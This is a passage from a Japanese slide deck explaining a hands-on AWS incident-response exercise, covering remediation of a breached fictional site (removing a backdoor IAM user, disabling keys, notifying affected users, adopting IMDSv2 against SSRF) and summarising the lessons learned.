● lambda-creator-userのアクセスキーを無効化
（AdministratorAccessのポリシーをデタッチすることと、S3上の
スクリプトファイルもあわせて削除）
● 攻撃者が作成したバックドアユーザー
（backdoorffd0fb5dac5447659914）を削除

View Slide

● Secutterサイト利用者の情報・クレジットカード情報などが漏洩し
ているため、関係者や関連機関に対する事象の説明や謝罪などを実施
する必要があるでしょう。
● パスワードのハッシュ値を含むユーザアカウント情報が漏洩している
ことから、Secutterサイトにおけるパスワードの再設定はもちろん、
同じパスワードを使いまわしている他サイトについてもパスワードを
変更するように通知したほうが良いでしょう。
サイト利用者などへの対応も必要

View Slide

リリース再開に向けた対策
● 攻撃者によって作成されたAWS環境のリソースを削除
● Webアプリケーションの脆弱性対策
● RDSアカウントのパスワード変更
● IAM関連の見直しや各種AWSリソースの棚卸
● SSRF攻撃への緩和策としてIMDSv2の導入
【参考】[待望のアプデ]EC2インスタンスメタデータサービスv2がリリースされてSSRF脆弱性等への攻撃に対するセ
キュリティが強化されました！
https://dev.classmethod.jp/articles/ec2-imdsv2-release/

View Slide

まとめ

View Slide

AWS環境のインシデントレスポンスとは
● AWSの各種サービスへの理解が必要
● 一般的なITやセキュリティの知識ももちろん必要
● ハイブリッドで必要になる
● AWSの仕組みで調査しやすい部分もある
● 攻撃者の視点や怪しいポイントの探し方は共通
● 最新と既存の組み合わせ

View Slide

学習目標の振り返り
● AWS環境のセキュリティを学ぶ(午前)
● 実践的なAWS環境のインシデント調査を通じて
AWS環境での対策を体験し活かす
ただツールの使い方を覚えるのではなく考え方を学
んでほしい

View Slide

とある診断員とSecurity-JAWS#02_解説編資料

とある診断員とSecurity-JAWS#02_解説編資料

tigerszk

More Decks by tigerszk

Other Decks in Technology

Featured

Transcript